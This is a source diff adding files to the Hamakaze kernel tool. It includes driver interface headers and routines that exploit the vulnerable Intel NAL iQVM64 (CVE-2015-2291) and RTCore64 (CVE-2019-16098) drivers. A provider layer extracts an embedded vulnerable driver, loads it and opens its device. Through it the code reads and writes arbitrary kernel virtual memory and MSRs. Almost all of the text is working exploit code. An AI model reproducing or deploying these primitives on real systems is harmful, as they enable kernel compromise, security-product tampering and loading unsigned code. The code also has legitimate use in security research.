GetLastError(); + } + + SetLastError(dwError); + return bResult; +} + +/* +* NalReadVirtualMemory +* +* Purpose: +* +* Read virtual memory via Nal memmove switch case. +* +*/ +_Success_(return != FALSE) +BOOL NalReadVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + NAL_MEMMOVE request; + + PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (lockedBuffer) { + + if (VirtualLock(lockedBuffer, NumberOfBytes)) { + + RtlSecureZeroMemory(&request, sizeof(request)); + request.Header.FunctionId = NAL_FUNCID_MEMMOVE; + request.SourceAddress = VirtualAddress; + request.DestinationAddress = (ULONG_PTR)lockedBuffer; + request.Length = NumberOfBytes; + + bResult = NalCallDriver(DeviceHandle, &request, sizeof(request)); + if (bResult) { + RtlCopyMemory(Buffer, lockedBuffer, NumberOfBytes); + } + else { + dwError = GetLastError(); + } + + VirtualUnlock(lockedBuffer, NumberOfBytes); + } + else { + dwError = GetLastError(); + } + + VirtualFree(lockedBuffer, 0, MEM_RELEASE); + } + else { + dwError = GetLastError(); + } + SetLastError(dwError); + return bResult; +} + +/* +* NalWriteVirtualMemory +* +* Purpose: +* +* Write virtual memory via Nal memmove switch case. +* +*/ +_Success_(return != FALSE) +BOOL NalWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + NAL_MEMMOVE request; + + PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (lockedBuffer) { + + RtlCopyMemory(lockedBuffer, Buffer, NumberOfBytes); + + if (VirtualLock(lockedBuffer, NumberOfBytes)) { + + RtlSecureZeroMemory(&request, sizeof(request)); + request.Header.FunctionId = NAL_FUNCID_MEMMOVE; + request.SourceAddress = (ULONG_PTR)lockedBuffer; + request.DestinationAddress = VirtualAddress; + request.Length = NumberOfBytes; + + bResult = NalCallDriver(DeviceHandle, &request, sizeof(request)); + if (bResult == FALSE) { + dwError = GetLastError(); + } + + VirtualUnlock(lockedBuffer, NumberOfBytes); + } + else { + dwError = GetLastError(); + } + + VirtualFree(lockedBuffer, 0, MEM_RELEASE); + } + else { + dwError = GetLastError(); + } + + SetLastError(dwError); + return bResult; +} + +/* +* NalWriteVirtualMemory +* +* Purpose: +* +* Write to virtual memory via mapping. +* +*/ +_Success_(return != FALSE) +BOOL NalWriteVirtualMemoryEx( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes +) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + ULONG_PTR physAddress, mappedVirt; + + if (NalVirtualToPhysical(DeviceHandle, VirtualAddress, &physAddress)) { + + if (NalMapAddressEx(DeviceHandle, physAddress, &mappedVirt, NumberOfBytes)) { + + bResult = NalWriteVirtualMemory(DeviceHandle, mappedVirt, Buffer, NumberOfBytes); + if (bResult == FALSE) + dwError = GetLastError(); + + NalUnmapAddress(DeviceHandle, mappedVirt, NumberOfBytes); + } + else { + dwError = GetLastError(); + } + + } + else { + dwError = GetLastError(); + } + SetLastError(dwError); + return bResult; +} + +/* +* NalReadVirtualMemoryEx +* +* Purpose: +* +* Read virtual memory via mapping. +* +*/ +_Success_(return != FALSE) +BOOL NalReadVirtualMemoryEx( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + PVOID lockedBuffer = (PVOID)VirtualAlloc(NULL, NumberOfBytes, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (lockedBuffer) { + + if (VirtualLock(lockedBuffer, NumberOfBytes)) { + + ULONG_PTR physicalAddress, newVirt; + + if (NalVirtualToPhysical(DeviceHandle, VirtualAddress, &physicalAddress)) { + if (NalMapAddressEx(DeviceHandle, physicalAddress, &newVirt, NumberOfBytes)) { + + bResult = NalReadVirtualMemory(DeviceHandle, newVirt, lockedBuffer, NumberOfBytes); + if (bResult) { + RtlCopyMemory(Buffer, lockedBuffer, NumberOfBytes); + } + else { + dwError = GetLastError(); + } + + NalUnmapAddress(DeviceHandle, newVirt, NumberOfBytes); + } + } + else { + dwError = GetLastError(); + } + + VirtualUnlock(lockedBuffer, NumberOfBytes); + } + else { + dwError = GetLastError(); + } + + VirtualFree(lockedBuffer, 0, MEM_RELEASE); + } + else { + dwError = GetLastError(); + } + + SetLastError(dwError); + return bResult; +} diff --git a/Source/Hamakaze/idrv/nal.h b/Source/Hamakaze/idrv/nal.h new file mode 100644 index 0000000..ca6a409 --- /dev/null +++ b/Source/Hamakaze/idrv/nal.h @@ -0,0 +1,119 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: NAL.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Intel Network Adapter iQVM64 driver interface header. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +// +// INTEL NAL driver interface for CVE-2015-2291. +// + +#define INTEL_DEVICE_TYPE (DWORD)0x8086 +#define INTEL_DEVICE_FUNCTION (DWORD)2049 + +#define NAL_FUNCID_MAPIOSPACE (DWORD)0x19 +#define NAL_FUNCID_UNMAPIOSPACE (DWORD)0x1A +#define NAL_FUNCID_VIRTUALTOPHYSCAL (DWORD)0x25 +#define NAL_FUNCID_MEMSET (DWORD)0x30 +#define NAL_FUNCID_MEMMOVE (DWORD)0x33 + +#define IOCTL_NAL_MANAGE CTL_CODE(INTEL_DEVICE_TYPE, INTEL_DEVICE_FUNCTION, METHOD_NEITHER, FILE_ANY_ACCESS) //0x80862007 + + +typedef struct _NAL_REQUEST_HEADER { + ULONG_PTR FunctionId; + ULONG_PTR Unused0; +} NAL_REQUEST_HEADER, * PNAL_REQUEST_HEADER; + +typedef struct _NAL_GET_PHYSICAL_ADDRESS { + NAL_REQUEST_HEADER Header; + ULONG_PTR PhysicalAddress; + ULONG_PTR VirtualAddress; +} NAL_GET_PHYSICAL_ADDRESS, * PNAL_GET_PHYSICAL_ADDRESS; + +typedef struct _NAL_MEMMOVE { + NAL_REQUEST_HEADER Header; + ULONG_PTR SourceAddress; + ULONG_PTR DestinationAddress; + ULONG_PTR Length; +} NAL_MEMMOVE, * PNAL_MEMMOVE; + +typedef struct _NAL_MAP_IO_SPACE { + NAL_REQUEST_HEADER Header; + ULONG_PTR OpResult; //0 mean success + ULONG_PTR VirtualAddress; + ULONG_PTR PhysicalAddress; + ULONG NumberOfBytes; +} NAL_MAP_IO_SPACE, * PNAL_MAP_IO_SPACE; + +typedef struct _NAL_UNMAP_IO_SPACE { + NAL_REQUEST_HEADER Header; + ULONG_PTR OpResult; //0 mean success + ULONG_PTR VirtualAddress; + ULONG_PTR Unused0; + ULONG NumberOfBytes; +} NAL_UNMAP_IO_SPACE, * PNAL_UNMAP_IO_SPACE; + +BOOL NalCallDriver( + _In_ HANDLE DeviceHandle, + _In_ PVOID Buffer, + _In_ ULONG Size); + +BOOL NalMapAddressEx( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _Out_ ULONG_PTR* VirtualAddress, + _In_ ULONG NumberOfBytes); + +BOOL NalUnmapAddress( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_ ULONG NumberOfBytes); + +BOOL NalVirtualToPhysical( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress); + +_Success_(return != FALSE) +BOOL NalReadVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +_Success_(return != FALSE) +BOOL NalWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +_Success_(return != FALSE) +BOOL NalReadVirtualMemoryEx( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +_Success_(return != FALSE) +BOOL NalWriteVirtualMemoryEx( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); diff --git a/Source/Hamakaze/idrv/rtcore.cpp b/Source/Hamakaze/idrv/rtcore.cpp new file mode 100644 index 0000000..4f56cd0 --- /dev/null +++ b/Source/Hamakaze/idrv/rtcore.cpp @@ -0,0 +1,357 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: RTCORE.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* RTCORE64 driver routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" +#include "idrv/rtcore.h" + +// +// Based on https://github.com/Barakat/CVE-2019-16098 +// + +/* +* RTCoreCallDriver +* +* Purpose: +* +* Call RTCore driver. +* +*/ +BOOL RTCoreCallDriver( + _In_ HANDLE DeviceHandle, + _In_ ULONG IoControlCode, + _In_ PVOID Buffer, + _In_ ULONG Size) +{ + BOOL bResult = FALSE; + IO_STATUS_BLOCK ioStatus; + + NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle, + NULL, + NULL, + NULL, + &ioStatus, + IoControlCode, + Buffer, + Size, + Buffer, + Size); + + bResult = NT_SUCCESS(ntStatus); + SetLastError(RtlNtStatusToDosError(ntStatus)); + return bResult; +} + +/* +* RTCoreReadMSR +* +* Purpose: +* +* Read given msr. +* +*/ +BOOL RTCoreReadMsr( + _In_ HANDLE DeviceHandle, + _In_ ULONG Msr, + _Out_ ULONG64* Value +) +{ + RTCORE_MSR request; + + *Value = 0; + + RtlSecureZeroMemory(&request, sizeof(request)); + + request.Register = Msr; + + if (!RTCoreCallDriver(DeviceHandle, + IOCTL_RTCORE_READMSR, + &request, + sizeof(request))) + { + return FALSE; + } + + *Value = (request.ValueLow & 0xfffff000ul) | ((ULONG64)request.ValueHigh << 32); + + return TRUE; +} + +/* +* RTCoreReadMemoryPrimitive +* +* Purpose: +* +* Basic read primitive, reads 4 bytes at once. +* +*/ +BOOL RTCoreReadMemoryPrimitive( + _In_ HANDLE DeviceHandle, + _In_ ULONG Size, + _In_ ULONG_PTR Address, + _Out_ ULONG* Value) +{ + RTCORE_REQUEST request; + + *Value = 0; + + if ((Size != sizeof(WORD)) && + (Size != sizeof(ULONG))) + { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + RtlSecureZeroMemory(&request, sizeof(request)); + + request.Address = Address; + request.Size = Size; + + if (RTCoreCallDriver(DeviceHandle, + IOCTL_RTCORE_READVM, + &request, + sizeof(RTCORE_REQUEST))) + { + *Value = request.Value; + return TRUE; + } + + return FALSE; +} + +/* +* RTCoreWriteMemoryPrimitive +* +* Purpose: +* +* Basic write primitive, writes 4 bytes at once. +* +*/ +BOOL RTCoreWriteMemoryPrimitive( + _In_ HANDLE DeviceHandle, + _In_ DWORD Size, + _In_ ULONG_PTR Address, + _In_ ULONG Value) +{ + RTCORE_REQUEST request; + + if ((Size != sizeof(WORD)) && + (Size != sizeof(ULONG))) + { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + RtlSecureZeroMemory(&request, sizeof(request)); + + request.Address = Address; + request.Size = Size; + request.Value = Value; + + return RTCoreCallDriver(DeviceHandle, + IOCTL_RTCORE_WRITEVM, + &request, + sizeof(RTCORE_REQUEST)); +} + +/* +* RTCoreReadMemoryULONG +* +* Purpose: +* +* Read ULONG from kernel. +* +*/ +BOOL RTCoreReadMemoryULONG( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_ ULONG* Value) +{ + ULONG valueRead = 0; + + *Value = 0; + + if (RTCoreReadMemoryPrimitive(DeviceHandle, + sizeof(ULONG), + Address, + &valueRead)) + { + *Value = valueRead; + return TRUE; + } + + return FALSE; +} + +/* +* RTCoreReadMemoryULONG64 +* +* Purpose: +* +* Read ULONG64 from kernel. +* +*/ +BOOL RTCoreReadMemoryULONG64( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_ ULONG64* Value) +{ + ULONG valueLow = 0, valueHigh = 0; + + *Value = 0; + + if (!RTCoreReadMemoryULONG(DeviceHandle, + Address + sizeof(ULONG), + &valueHigh)) + { + return FALSE; + } + + if (!RTCoreReadMemoryULONG(DeviceHandle, + Address, + &valueLow)) + { + return FALSE; + } + + *Value = ((ULONG64)valueHigh << 32) | valueLow; + + return TRUE; +} + +/* +* RTCoreWriteMemoryULONG +* +* Purpose: +* +* Write ULONG to kernel. +* +*/ +BOOL RTCoreWriteMemoryULONG( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _In_ ULONG Value +) +{ + return RTCoreWriteMemoryPrimitive(DeviceHandle, + sizeof(ULONG), + Address, + Value); +} + +/* +* RTCoreWriteMemoryULONG64 +* +* Purpose: +* +* Write ULONG64 to kernel. +* +*/ +BOOL RTCoreWriteMemoryULONG64( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _In_ ULONG64 Value) +{ + if (RTCoreWriteMemoryPrimitive(DeviceHandle, + sizeof(ULONG), + Address, + Value & 0xfffffffful)) + { + return RTCoreWriteMemoryPrimitive(DeviceHandle, + sizeof(ULONG), + Address + sizeof(ULONG), + Value >> 32); + } + + return FALSE; +} + +/* +* RTCoreReadVirtualMemory +* +* Purpose: +* +* Read virtual memory via RTCore64. +* Input buffer length must be aligned to ULONG +* +*/ +_Success_(return != FALSE) +BOOL RTCoreReadVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + if ((NumberOfBytes % sizeof(ULONG)) != 0) + return FALSE; + + PULONG BufferPtr = (PULONG)Buffer; + + ULONG_PTR virtAddress = VirtualAddress; + ULONG valueRead, readBytes = 0; + + for (ULONG i = 0; i < (NumberOfBytes / sizeof(ULONG)); i++) { + + if (!RTCoreReadMemoryULONG(DeviceHandle, virtAddress, &valueRead)) + break; + + BufferPtr[i] = valueRead; + virtAddress += sizeof(ULONG); + readBytes += sizeof(ULONG); + } + + return (readBytes == NumberOfBytes); +} + +/* +* RTCoreWriteVirtualMemory +* +* Purpose: +* +* Write virtual memory via RTCore64. +* Input buffer length must be aligned to ULONG +* +*/ +_Success_(return != FALSE) +BOOL RTCoreWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes +) +{ + if ((NumberOfBytes % sizeof(ULONG)) != 0) + return FALSE; + + PULONG BufferPtr = (PULONG)Buffer; + + ULONG_PTR virtAddress = VirtualAddress; + ULONG valueWrite, writeBytes = 0; + + for (ULONG i = 0; i < (NumberOfBytes / sizeof(ULONG)); i++) { + + valueWrite = BufferPtr[i]; + if (!RTCoreWriteMemoryULONG(DeviceHandle, virtAddress, valueWrite)) + break; + + virtAddress += sizeof(ULONG); + writeBytes += sizeof(ULONG); + } + + return (writeBytes == NumberOfBytes); +} diff --git a/Source/Hamakaze/idrv/rtcore.h b/Source/Hamakaze/idrv/rtcore.h new file mode 100644 index 0000000..6cd9707 --- /dev/null +++ b/Source/Hamakaze/idrv/rtcore.h @@ -0,0 +1,69 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: RTCORE.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* RTCore64 driver interface header. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +// +// RTCore64 driver interface for CVE-2019-16098. +// + +#define RTCORE_DEVICE_TYPE (DWORD)0x8000 + +#define RTCORE_FUNCTION_READMSR (DWORD)0x80C +#define RTCORE_FUNCTION_READVM (DWORD)0x812 +#define RTCORE_FUNCTION_WRITEVM (DWORD)0x813 + +#define IOCTL_RTCORE_READMSR CTL_CODE(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_READMSR, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80002030 +#define IOCTL_RTCORE_READVM CTL_CODE(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_READVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80002048 +#define IOCTL_RTCORE_WRITEVM CTL_CODE(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_WRITEVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x8000204C + +typedef struct _RTCORE_REQUEST { + ULONG_PTR Unknown0; + ULONG_PTR Address; + ULONG_PTR Unknown1; + ULONG Size; + ULONG Value; + ULONG_PTR Unknown2; + ULONG_PTR Unknown3; +} RTCORE_REQUEST, * PRTCORE_REQUEST; + +typedef struct _RTCORE_MSR { + ULONG Register; + ULONG ValueHigh; + ULONG ValueLow; +} RTCORE_MSR, * PRTCORE_MSR; + +BOOL RTCoreReadMsr( + _In_ HANDLE DeviceHandle, + _In_ ULONG Msr, + _Out_ ULONG64* Value); + +_Success_(return != FALSE) +BOOL RTCoreReadVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +_Success_(return != FALSE) +BOOL RTCoreWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); diff --git a/Source/Hamakaze/irp.h b/Source/Hamakaze/irp.h new file mode 100644 index 0000000..3991dfd --- /dev/null +++ b/Source/Hamakaze/irp.h @@ -0,0 +1,145 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2018, translated from Microsoft sources/debugger +* +* TITLE: IRP.H +* +* VERSION: 1.00 +* +* DATE: 10 Feb 2018 +* +* Header file for IRP/STACK_LOCATION define. +* +* WARNING: structures opaque and incomplete. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ +#pragma once + +typedef +VOID +(NTAPI* PIO_APC_ROUTINE) ( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _IO_STACK_LOCATION { + UCHAR MajorFunction; + UCHAR MinorFunction; + UCHAR Flags; + UCHAR Control; + //incomplete +} IO_STACK_LOCATION, * PIO_STACK_LOCATION; + +typedef struct _KAPC { + UCHAR Type; + UCHAR SpareByte0; + UCHAR Size; + UCHAR SpareByte1; + ULONG SpareLong0; + struct _KTHREAD* Thread; + LIST_ENTRY ApcListEntry; + PVOID Reserved[3]; + PVOID NormalContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + CCHAR ApcStateIndex; + KPROCESSOR_MODE ApcMode; + BOOLEAN Inserted; +} KAPC, * PKAPC, * PRKAPC; + +#pragma warning(push) +#pragma warning(disable:4324) // structure padded due to __declspec(align()) +typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _IRP { + CSHORT Type; + USHORT Size; + PVOID MdlAddress; + ULONG Flags; + + union { + struct _IRP* MasterIrp; + __volatile LONG IrpCount; + PVOID SystemBuffer; + } AssociatedIrp; + + LIST_ENTRY ThreadListEntry; + IO_STATUS_BLOCK IoStatus; + KPROCESSOR_MODE RequestorMode; + BOOLEAN PendingReturned; + CHAR StackCount; + CHAR CurrentLocation; + BOOLEAN Cancel; + KIRQL CancelIrql; + CCHAR ApcEnvironment; + UCHAR AllocationFlags; + PIO_STATUS_BLOCK UserIosb; + PVOID UserEvent; + union { + struct { + union { + PIO_APC_ROUTINE UserApcRoutine; + PVOID IssuingProcess; + }; + PVOID UserApcContext; + } AsynchronousParameters; + LARGE_INTEGER AllocationSize; + } Overlay; + + __volatile PVOID CancelRoutine; + + PVOID UserBuffer; + + union { + + struct { + + union { + + KDEVICE_QUEUE_ENTRY DeviceQueueEntry; + + struct { + PVOID DriverContext[4]; + }; + + }; + + PVOID Thread; + PCHAR AuxiliaryBuffer; + + struct { + + LIST_ENTRY ListEntry; + + union { + + struct _IO_STACK_LOCATION* CurrentStackLocation; + ULONG PacketType; + }; + }; + + PVOID OriginalFileObject; + + } Overlay; + + //incomplete + + } Tail; + +} IRP; +#pragma warning(pop) + +typedef IRP* PIRP; + +FORCEINLINE +PIO_STACK_LOCATION +IoGetCurrentIrpStackLocation( + _In_ PIRP Irp +) +{ + return Irp->Tail.Overlay.CurrentStackLocation; +} diff --git a/Source/Hamakaze/kduprov.cpp b/Source/Hamakaze/kduprov.cpp new file mode 100644 index 0000000..4ac3a51 --- /dev/null +++ b/Source/Hamakaze/kduprov.cpp @@ -0,0 +1,493 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: KDUPROV.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Vulnerable driver providers routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" +#include "idrv/nal.h" +#include "idrv/rtcore.h" + +// +// Since we have a lot of them, make an abstraction layer. +// + +KDU_PROVIDER g_KDUProviders[KDU_PROVIDERS_MAX] = +{ + { + KDU_MAX_NTBUILDNUMBER, + IDR_iQVM64, + 0, + (LPWSTR)L"CVE-2015-2291", + (LPWSTR)L"NalDrv", + (LPWSTR)L"Nal", + NalReadVirtualMemoryEx, + NalWriteVirtualMemoryEx, + NalVirtualToPhysical, + (provReadControlRegister)KDUProviderStub, + (provReadPhysicalMemory)KDUProviderStub, + (provWritePhysicalMemory)KDUProviderStub, + (provRegisterDriver)KDUProviderStub, + (provUnregisterDriver)KDUProviderStub + }, + + { + KDU_MAX_NTBUILDNUMBER, + IDR_RTCORE64, + 0, + (LPWSTR)L"CVE-2019-16098", + (LPWSTR)L"RTCore64", + (LPWSTR)L"RTCore64", + RTCoreReadVirtualMemory, + RTCoreWriteVirtualMemory, + (provVirtualToPhysical)KDUProviderStub, + (provReadControlRegister)KDUProviderStub, + (provReadPhysicalMemory)KDUProviderStub, + (provWritePhysicalMemory)KDUProviderStub, + (provRegisterDriver)KDUProviderStub, + (provUnregisterDriver)KDUProviderStub + } +}; + +/* +* KDUProvList +* +* Purpose: +* +* Output available providers. +* +*/ +VOID KDUProvList() +{ + KDU_PROVIDER *prov; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + for (ULONG i = 0; i < KDU_PROVIDERS_MAX; i++) { + prov = &g_KDUProviders[i]; + + printf_s("Provider: Id %lu\r\n\t%ws, DriverName \"%ws\", DeviceName \"%ws\"\r\n", + i, + prov->Desciption, + prov->DriverName, + prov->DeviceName); + + printf_s("\tHVCI support %lu, MaxNtBuildNumberSupport 0x%lX\r\n", + prov->HvciSupport, + prov->MaxNtBuildNumberSupport); + } + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); +} + +/* +* KDUProvStartVulnerableDriver +* +* Purpose: +* +* Load vulnerable driver and return handle for it device or NULL in case of error. +* +*/ +HANDLE KDUProvStartVulnerableDriver( + _In_ ULONG uResourceId, + _In_ HINSTANCE hInstance, + _In_ LPWSTR lpDriverName, + _In_ LPWSTR lpDeviceName, + _In_ LPWSTR lpFullFileName +) +{ + BOOL bLoaded = FALSE; + PBYTE drvBuffer; + NTSTATUS ntStatus; + ULONG resourceSize = 0, writeBytes; + HANDLE deviceHandle = NULL; + + // + // Check if driver already loaded. + // + if (supIsObjectExists((LPWSTR)L"\\Device", lpDeviceName)) { + printf_s("[!] Vulnerable driver already loaded\r\n"); + bLoaded = TRUE; + } + else { + + // + // Driver is not loaded, load it. + // + + drvBuffer = supQueryResourceData(uResourceId, hInstance, &resourceSize); + if (drvBuffer == NULL) { + printf_s("[!] Driver resource id not found %lu\r\n", uResourceId); + return NULL; + } + + printf_s("[+] Extracting vulnerable driver as \"%ws\"\r\n", lpFullFileName); + + writeBytes = (ULONG)supWriteBufferToFile(lpFullFileName, + drvBuffer, + resourceSize, + TRUE, + FALSE, + &ntStatus); + + supHeapFree(drvBuffer); + + if (resourceSize != writeBytes) { + printf_s("[!] Unable to extract vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus); + return NULL; + } + + ntStatus = supLoadDriver(lpDriverName, lpFullFileName, FALSE); + if (NT_SUCCESS(ntStatus)) { + printf_s("[+] Vulnerable driver \"%ws\" loaded\r\n", lpDriverName); + bLoaded = TRUE; + } + else { + printf_s("[!] Unable to load vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus); + DeleteFile(lpFullFileName); + } + } + + if (bLoaded) { + ntStatus = supOpenDriver(lpDeviceName, &deviceHandle); + if (!NT_SUCCESS(ntStatus)) + printf_s("[!] Unable to open vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus); + else + printf_s("[+] Vulnerable driver opened\r\n"); + } + return deviceHandle; +} + +/* +* KDUProvStopVulnerableDriver +* +* Purpose: +* +* Unload previously loaded vulnerable driver. +* +*/ +void KDUProvStopVulnerableDriver( + _In_ LPWSTR lpDriverName, + _In_ LPWSTR lpFullFileName +) +{ + NTSTATUS ntStatus; + + ntStatus = supUnloadDriver(lpDriverName, TRUE); + if (!NT_SUCCESS(ntStatus)) { + printf_s("[!] Unable to unload vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus); + } + else { + + printf_s("[+] Vulnerable driver unloaded\r\n"); + ULONG retryCount = 3; + + do { + Sleep(1000); + if (DeleteFile(lpFullFileName)) { + printf_s("[+] Vulnerable driver file removed\r\n"); + break; + } + + retryCount--; + + } while (retryCount); + + } +} + +/* +* KDUVirtualToPhysical +* +* Purpose: +* +* Provider wrapper for VirtualToPhysical routine. +* +*/ +BOOL WINAPI KDUVirtualToPhysical( + _In_ KDU_CONTEXT* Context, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress) +{ + KDU_PROVIDER* prov = Context->Provider; + + if (prov->Callbacks.VirtualToPhysical == NULL) + return FALSE; + + return prov->Callbacks.VirtualToPhysical(Context->DeviceHandle, + VirtualAddress, + PhysicalAddress); +} + +/* +* KDUReadKernelVM +* +* Purpose: +* +* Provider wrapper for ReadKernelVM routine. +* +*/ +_Success_(return != FALSE) +BOOL WINAPI KDUReadKernelVM( + _In_ KDU_CONTEXT * Context, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + KDU_PROVIDER* prov = Context->Provider; + + if (Address < Context->MaximumUserModeAddress) { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + return prov->Callbacks.ReadKernelVM(Context->DeviceHandle, + Address, + Buffer, + NumberOfBytes); +} + +/* +* KDUWriteKernelVM +* +* Purpose: +* +* Provider wrapper for WriteKernelVM routine. +* +*/ +_Success_(return != FALSE) +BOOL WINAPI KDUWriteKernelVM( + _In_ KDU_CONTEXT * Context, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + KDU_PROVIDER* prov = Context->Provider; + + if (Address < Context->MaximumUserModeAddress) { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + return prov->Callbacks.WriteKernelVM(Context->DeviceHandle, + Address, + Buffer, + NumberOfBytes); +} + +/* +* KDUProviderStub +* +* Purpose: +* +* Stub routine. +* +*/ +BOOL WINAPI KDUProviderStub( + VOID) +{ + SetLastError(ERROR_UNSUPPORTED_TYPE); + return FALSE; +} 